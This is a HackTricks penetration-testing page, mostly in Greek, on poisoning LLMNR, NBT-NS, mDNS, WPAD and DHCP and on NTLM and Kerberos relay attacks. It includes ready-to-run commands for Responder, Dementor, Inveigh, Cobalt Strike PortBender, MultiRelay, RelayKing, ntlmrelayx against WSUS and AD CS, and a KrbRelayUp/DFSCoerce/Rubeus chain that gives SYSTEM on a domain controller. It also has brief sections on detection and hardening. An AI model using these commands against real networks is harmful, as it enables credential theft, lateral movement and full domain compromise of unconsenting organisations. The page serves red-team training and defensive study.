Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική επίλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα Apple και Linux χρησιμοποιούν mDNS.
  • Αυτά τα πρωτόκολλα είναι ευάλωτα σε υποκλοπή και spoofing λόγω της μη-επαληθευμένης, broadcast φύσης τους πάνω από UDP.
  • Responder και Dementor μπορούν να χρησιμοποιηθούν για να μιμηθούν υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που κάνουν query σε αυτά τα πρωτόκολλα.
  • Further information on service impersonation using Responder can be found here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD επιτρέπει στους browsers να εντοπίζουν αυτόματα τις ρυθμίσεις proxy.
  • Η ανίχνευση διευκολύνεται μέσω DHCP, DNS, ή ως fallback σε LLMNR και NBT-NS εάν το DNS αποτύχει.
  • Responder μπορεί να αυτοματοποιήσει επιθέσεις WPAD, κατευθύνοντας clients προς κακόβουλους WPAD servers.

Responder/Dementor for Protocol Poisoning

  • Responder είναι ένα εργαλείο που χρησιμοποιείται για poisoning αιτήσεων LLMNR, NBT-NS, και mDNS, απαντώντας επιλεκτικά βάσει τύπων ερωτήματος, στοχεύοντας κυρίως υπηρεσίες SMB.

  • Έρχεται προεγκατεστημένο στο Kali Linux, και είναι διαμορφώσιμο στο /etc/responder/Responder.conf.

  • Responder εμφανίζει τα συλλεγμένα hashes στην οθόνη και τα αποθηκεύει στον κατάλογο /usr/share/responder/logs.

  • Υποστηρίζει τόσο IPv4 όσο και IPv6.

  • Windows version of Responder is available here.

  • Dementor επεκτείνει τα θέματα multicast poisoning και επιπλέον λειτουργεί ως rogue service provider (συμπεριλαμβανομένης της CUPS RCE support)

  • Η συνολική δομή είναι παρόμοια με Responder με πιο λεπτομερή διαμόρφωση. (default is here: Dementor.toml)

  • Compatibility between Dementor and Responder is given here: Compatibility Matrix

  • Intro and Documentation here: Dementor - Docs

  • Διορθώνει προβλήματα καταγραφής που εισήγαγε το Responder σε ορισμένα πρωτόκολλα

Running Responder

  • Για να τρέξετε Responder με τις προεπιλεγμένες ρυθμίσεις: responder -I <Interface>
  • Για πιο επιθετικό probing (με πιθανούς παρενέργειες): responder -I <Interface> -P -r -v
  • Τεχνικές για συλλογή NTLMv1 challenges/responses για ευκολότερο cracking: responder -I <Interface> --lm --disable-ess
  • WPAD impersonation μπορεί να ενεργοποιηθεί με: responder -I <Interface> --wpad
  • NetBIOS requests μπορούν να επιλυθούν στη διεύθυνση IP του attacker, και μπορεί να στηθεί authentication proxy: responder.py -I <interface> -Pv

Running Dementor

  • Με τις προεπιλεγμένες ρυθμίσεις εφαρμοσμένες: Dementor -I <interface>
  • Με προεπιλεγμένες ρυθμίσεις σε analysis mode: Dementor -I <interface> -A
  • Αυτόματη NTLM session downgrade (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Τρέξτε την τρέχουσα συνεδρία με custom config: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • Η παραποίηση απαντήσεων DHCP μπορεί να δηλητηριάσει μόνιμα την πληροφορία δρομολόγησης ενός θύματος, προσφέροντας μια πιο stealthy εναλλακτική σε σχέση με ARP poisoning.
  • Απαιτεί ακριβή γνώση της διαμόρφωσης του στοχευόμενου δικτύου.
  • Εκτέλεση της επίθεσης: ./Responder.py -I eth0 -Pdv
  • Αυτή η μέθοδος μπορεί να συλλάβει αποτελεσματικά NTLMv1/2 hashes, αλλά απαιτεί προσεκτική διαχείριση ώστε να αποφευχθεί διατάραξη του δικτύου.

Capturing Credentials with Responder/Dementor

  • Responder/Dementor θα μιμηθούν υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, συλλαμβάνοντας credentials (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να πραγματοποιήσει authentication απέναντι στις spoofed υπηρεσίες.
  • Μπορούν να γίνουν προσπάθειες για downgrade σε NetNTLMv1 ή απενεργοποίηση ESS για ευκολότερο cracking των credentials.

If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.

Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών πρέπει να γίνεται νόμιμα και ηθικά, εξασφαλίζοντας κατάλληλη εξουσιοδότηση και αποφεύγοντας διακοπή ή μη εξουσιοδοτημένη πρόσβαση.

Inveigh

Inveigh is a tool for penetration testers and red teamers, designed for Windows systems. Προσφέρει λειτουργίες παρόμοιες με Responder, πραγματοποιώντας spoofing και man-in-the-middle επιθέσεις. Το εργαλείο έχει εξελιχθεί από ένα PowerShell script σε ένα C# binary, με Inveigh και InveighZero ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες υπάρχουν στο wiki.

Inveigh can be operated through PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ή εκτελεσμένο ως C# binary:

Inveigh.exe

NTLM Relay Attack

Αυτή η επίθεση εκμεταλλεύεται SMB authentication sessions για να αποκτήσει πρόσβαση σε έναν στόχο, παρέχοντας system shell σε περίπτωση επιτυχίας. Βασικές προϋποθέσεις περιλαμβάνουν:

  • Ο χρήστης που αυθεντικοποιείται πρέπει να έχει Local Admin access στο relayed host.
  • Το SMB signing πρέπει να είναι απενεργοποιημένο.

445 Port Forwarding and Tunneling

Σε περιπτώσεις όπου η άμεση παρουσία στο δίκτυο δεν είναι εφικτή, η κίνηση στην port 445 χρειάζεται να προωθηθεί και να γίνει tunneling. Εργαλεία όπως το PortBender βοηθούν στην ανακατεύθυνση της κίνησης της port 445 σε άλλη port, κάτι απαραίτητο όταν υπάρχει local admin access για driver loading.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Άλλα εργαλεία για NTLM Relay Attack

  • Metasploit: Ρύθμιση με proxies και λεπτομέρειες για local και remote hosts.
  • smbrelayx: Ένα script σε Python για relay συνεδριών SMB, εκτέλεση εντολών ή ανάπτυξη backdoors.
  • MultiRelay: Ένα εργαλείο από τη σουίτα Responder για relay συγκεκριμένων χρηστών ή όλων, εκτέλεση εντολών ή εξαγωγή hashes.

Κάθε εργαλείο μπορεί να διαμορφωθεί ώστε να λειτουργεί μέσω SOCKS proxy αν χρειάζεται, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.

Λειτουργία MultiRelay

Το MultiRelay εκτελείται από τον κατάλογο /usr/share/responder/tools, στοχεύοντας συγκεκριμένες διευθύνσεις IP ή χρήστες.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

RelayKing – ανακάλυψη στόχων για relay και επιμελημένες λίστες relay

RelayKing είναι ένα εργαλείο αξιολόγησης έκθεσης NTLM relay που χαρτογραφεί πού είναι εφικτά τα relays και παράγει έτοιμες προς χρήση λίστες στόχων για ntlmrelayx.py -tf. Ελέγχει το hardening των πρωτοκόλλων (SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth) και επισημαίνει coercion/reflection helpers (PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection).

  • Η πιστοποίηση βελτιώνει την αξιοπιστία για τους ελέγχους HTTPS/LDAPS CBT και MSSQL EPA· το SMB signing/signature level διερευνάται χωρίς αυθεντικοποίηση.
  • Η δρομολόγηση cross-protocol relay αξιοποιεί επιβεβαιωμένα Net-NTLMv1 (--ntlmv1/--ntlmv1-all) ευρήματα· παρέχεται κατάταξη σοβαρότητας ανά διαδρομή.
  • --gen-relay-list <file> γράφει μια λίστα στόχων φιλική προς grep για ntlmrelayx.py -tf <file> ώστε να αποφευχθεί η δοκιμή και σφάλμα.
  • --coerce-all ενεργοποιεί μαζικά τα PetitPotam/DFSCoerce/PrinterBug σε όλους τους στόχους· τα --ntlmv1-all (RemoteRegistry) και --audit (domain-wide LDAP host pull) είναι noisy και δημιουργούν πολλούς logons/απομακρυσμένες προσπελάσεις.
  • --proto-portscan επιταχύνει τη σάρωση παρακάμπτοντας κλειστές θύρες· --krb-dc-only βοηθά όταν οι DCs μπλοκάρουν το NTLM αλλά άλλες υπηρεσίες το αποδέχονται.

Παραδείγματα σαρώσεων:

# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt

# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24

Αυτά τα εργαλεία και τεχνικές αποτελούν ένα ολοκληρωμένο σύνολο για τη διεξαγωγή NTLM Relay attacks σε διάφορα δικτυακά περιβάλλοντα.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

Οι WSUS clients ταυτοποιούνται στον update server τους χρησιμοποιώντας NTLM πάνω από HTTP (8530) ή HTTPS (8531). Όταν το HTTP είναι ενεργοποιημένο, οι περιοδικές check-ins των clients μπορούν να αναγκαστούν ή να υποκλαπούν στο τοπικό segment και να γίνουν relay με ntlmrelayx σε LDAP/LDAPS/SMB ή AD CS HTTP endpoints (ESC8) χωρίς να σπάσετε κανένα hash. Αυτό ενσωματώνεται στην κανονική ενημερωτική κίνηση και συχνά αποφέρει authentications λογαριασμών μηχανής (HOST$).

Τι να αναζητήσετε

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and …\WindowsUpdate\AU:
  • WUServer (π.χ., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (ώρες)
  • WSUS SOAP endpoints που χρησιμοποιούν οι clients πάνω από HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Προεπιλεγμένες θύρες: 8530/tcp HTTP, 8531/tcp HTTPS

Αναγνώριση

  • Δεν απαιτείται έλεγχος ταυτότητας
  • Scan για listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic μέσω L2 MITM και καταγράψτε ενεργούς clients/endpoints με wsusniff.py (HTTP μόνο εκτός αν καταφέρετε να κάνετε τους clients να εμπιστευτούν το TLS cert σας).
  • Με έλεγχο ταυτότητας
  • Parse SYSVOL GPOs για WSUS keys με MANSPIDER + regpol (ο wrapper wsuspider.sh συνοψίζει WUServer/WUStatusServer/UseWUServer).
  • Query endpoints σε μεγάλη κλίμακα από hosts (NetExec) ή τοπικά: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Βήματα end-to-end HTTP relay

  1. Position for MITM (same L2) ώστε ένας client να επιλύει τον WSUS server σε εσάς (ARP/DNS poisoning, Bettercap, mitm6, κ.λπ.). Παράδειγμα με arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Redirect την θύρα 8530 στον relay listener σας (προαιρετικό, βολικό): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. Ξεκινήστε ntlmrelayx με τον HTTP listener (απαιτεί υποστήριξη Impacket για HTTP listener; δείτε τα PRs παρακάτω): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Άλλοι κοινοί στόχοι:

  • Relay σε SMB (αν το signing είναι απενεργοποιημένο) για exec/dump: -t smb://
  • Relay σε LDAPS για αλλαγές στον directory (π.χ., RBCD): -t ldaps://
  • Relay σε AD CS web enrollment (ESC8) για να εκδώσετε ένα cert και μετά να ταυτοποιηθείτε μέσω Schannel/PKINIT: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server Για βαθύτερες διαδρομές κατάχρησης AD CS και εργαλεία, δείτε τη σελίδα AD CS:

AD CS Domain Escalation

  1. Trigger ένα client check-in ή περιμένετε το προγραμματισμένο. Από έναν client: wuauclt.exe /detectnow ή χρησιμοποιήστε το Windows Update UI (Check for updates).

  2. Χρησιμοποιήστε τις authenticated SOCKS sessions (αν -socks) ή τα απευθείας αποτελέσματα relay για post-exploitation (LDAP αλλαγές, SMB ενέργειες, ή έκδοση πιστοποιητικού AD CS για μετέπειτα ταυτοποίηση).

Περιορισμός HTTPS (8531)

  • Η παθητική υποκλοπή του WSUS πάνω από HTTPS δεν είναι αποτελεσματική εκτός αν οι clients εμπιστεύονται το certificate σας. Χωρίς ένα αξιόπιστο cert ή άλλο TLS break, το NTLM handshake δεν μπορεί να συλλεχθεί/relay από WSUS HTTPS κίνηση.

Σημειώσεις

  • Το WSUS ανακοινώθηκε ως deprecated αλλά παραμένει ευρέως αναπτυγμένο· το HTTP (8530) εξακολουθεί να είναι κοινό σε πολλά περιβάλλοντα.
  • Χρήσιμα βοηθητικά: wsusniff.py (παρατήρηση HTTP WSUS check-ins), wsuspider.sh (καταγραφή WUServer/WUStatusServer από GPOs), NetExec reg-query σε κλίμακα.
  • Το Impacket επανέφερε την υποστήριξη HTTP listener για ntlmrelayx στο PR #2034 (αρχικά προστέθηκε στο PR #913).

Force NTLM Logins

Στα Windows μπορεί να μπορείτε να εξαναγκάσετε ορισμένους privileged λογαριασμούς να ταυτοποιηθούν σε αυθαίρετες μηχανές. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack κλέβει ένα AP-REQ ticket από μια υπηρεσία και το επαναχρησιμοποιεί ενάντια σε μια δεύτερη υπηρεσία που μοιράζεται το ίδιο computer-account key (επειδή και τα δύο SPNs βρίσκονται στον ίδιο $ machine account). Αυτό λειτουργεί παρότι οι service classes των SPNs διαφέρουν (π.χ. CIFS/LDAP/) επειδή το κλειδί που αποκωδικοποιεί το ticket είναι το NT hash της μηχανής, όχι το ίδιο το SPN string και το SPN string δεν είναι μέρος της υπογραφής.

Σε αντίθεση με το NTLM relay, το hop περιορίζεται στο ίδιο host, αλλά αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράψετε σε LDAP, μπορείτε να συνδέσετε σε Resource-Based Constrained Delegation (RBCD) ή AD CS enrollment και να αποκτήσετε NT AUTHORITY\SYSTEM σε ένα μόνο βήμα.

Για λεπτομερείς πληροφορίες σχετικά με αυτή την επίθεση δείτε:

TokenΣκοπόςΣχετικότητα με relay
TGT / AS-REQ ↔ REPΑποδεικνύει τον χρήστη στο KDCανεπηρέαστο
Service ticket / TGS-REQ ↔ REPΔεσμεύεται σε ένα SPN; κρυπτογραφείται με το κλειδί του ιδιοκτήτη του SPNεναλλάξιμο αν τα SPNs μοιράζονται λογαριασμό
AP-REQΟ client στέλνει το TGS στην υπηρεσίααυτό που κλέβουμε & επαναπαίζουμε
  • Τα tickets κρυπτογραφούνται με το password-derived key του λογαριασμού που κατέχει το SPN.
  • Ο Authenticator μέσα στο AP-REQ έχει timestamp 5 λεπτών· η επανάληψη εντός αυτού του παραθύρου είναι έγκυρη μέχρι να δει η cache της υπηρεσίας ένα διπλότυπο.
  • Τα Windows σπάνια ελέγχουν αν το SPN string στο ticket ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα ticket για CIFS/HOST συνήθως αποκωδικοποιείται σωστά στο LDAP/HOST.
    1. Τι πρέπει να ισχύει για να γίνει relay Kerberos
  1. Κοινό κλειδί: τα source και target SPNs ανήκουν στον ίδιο computer account (προεπιλεγμένο σε Windows servers).
  2. Χωρίς channel protection: SMB/LDAP signing απενεργοποιημένο και EPA απενεργοποιημένο για HTTP/LDAPS.
  3. Μπορείτε να υποκλέψετε ή να αναγκάσετε authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, κ.λπ.
  4. Η πηγή του ticket να μην έχει ήδη χρησιμοποιηθεί: πρέπει να κερδίσετε τη “κούρσα” πριν φτάσει το πραγματικό πακέτο ή να το μπλοκάρετε εντελώς· αλλιώς η replay cache του server θα πυροδοτήσει Event 4649.
  5. Πρέπει με κάποιο τρόπο να μπορείτε να πραγματοποιήσετε ένα MitM στην επικοινωνία, ίσως να είστε μέρος της ομάδας DNSAdmins για να τροποποιήσετε το DNS του domain ή να μπορείτε να αλλάξετε το HOST αρχείο του θύματος.

Kerberos Relay Steps

  • 3.1 Αναγνώριση του host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Ξεκινήστε τον relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp συσκευάζει KrbRelay → LDAP → RBCD → Rubeus → SCM bypass σε ένα binary.

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce αναγκάζει τον DC να μας στείλει ένα Kerberos CIFS/DC01 ticket.

  • 3.4 Relay the AP-REQ

KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε ένα LDAP bind και το προωθεί στο ldap://DC01—η αυθεντικοποίηση είναι επιτυχής επειδή το ίδιο κλειδί το αποκρυπτογραφεί.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Τώρα έχετε στην κατοχή σας NT AUTHORITY\SYSTEM.

Περισσότερες διαδρομές που αξίζει να γνωρίζετε

ΔιάνυσμαΤρικΓιατί έχει σημασία
AuthIP / IPSecΟ ψεύτικος διακομιστής στέλνει ένα GSS-ID payload με οποιοδήποτε SPN· ο πελάτης δημιουργεί ένα AP-REQ απευθείας σε εσάςΛειτουργεί ακόμα και μεταξύ υποδικτύων· διαπιστευτήρια μηχανής από προεπιλογή
DCOM / MSRPCΚακόβουλος OXID resolver αναγκάζει τον πελάτη να auth σε οποιοδήποτε SPN και portΚαθαρή τοπική priv-esc; παρακάμπτει τείχος προστασίας
AD CS Web EnrollΑναμεταδώστε το machine ticket στο HTTP/CA και πάρτε ένα cert, στη συνέχεια PKINIT για να δημιουργήσετε TGTsΠαρακάμπτει τις άμυνες υπογραφής LDAP
Shadow CredentialsΓράψτε msDS-KeyCredentialLink, έπειτα PKINIT με πλαστό ζεύγος κλειδιώνΔεν χρειάζεται να προσθέσετε λογαριασμό υπολογιστή

Αντιμετώπιση προβλημάτων

ΣφάλμαΣημασίαΕπιδιόρθωση
KRB_AP_ERR_MODIFIEDΚλειδί του ticket ≠ κλειδί στόχουΛάθος host/SPN
KRB_AP_ERR_SKEWΤο ρολόι έχει απόκλιση > 5 λεπτάΣυγχρονίστε το χρόνο ή χρησιμοποιήστε w32tm
LDAP bind failsΕπιβάλλεται υπογραφήΧρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή
Event 4649 spamΗ υπηρεσία είδε διπλό AuthenticatorΑποκλείστε ή κάντε race το αρχικό πακέτο

Ανίχνευση

  • Αύξηση σε Event 4769 για CIFS/, HTTP/, LDAP/ από την ίδια πηγή μέσα σε δευτερόλεπτα.
  • Event 4649 στην υπηρεσία υποδεικνύει ανιχνευμένη αναπαραγωγή.
  • Το Kerberos logon από 127.0.0.1 (relay στο τοπικό SCM) είναι πολύ ύποπτο — εντοπίστε μέσω κανόνα Sigma στα docs του KrbRelayUp.
  • Παρακολουθήστε αλλαγές στο msDS-AllowedToActOnBehalfOfOtherIdentity ή msDS-KeyCredentialLink attributes.

Σκληροποίηση

  1. Enforce LDAP & SMB signing + EPA σε κάθε διακομιστή.
  2. Split SPNs ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με CIFS/LDAP.
  3. Κάντε patch στα coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
  4. Ορίστε ms-DS-MachineAccountQuota = 0 για να σταματήσετε μη εξουσιοδοτημένες εντάξεις υπολογιστών.
  5. Ειδοποιήστε για Event 4649 και απροσδόκητες loopback Kerberos συνδέσεις.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks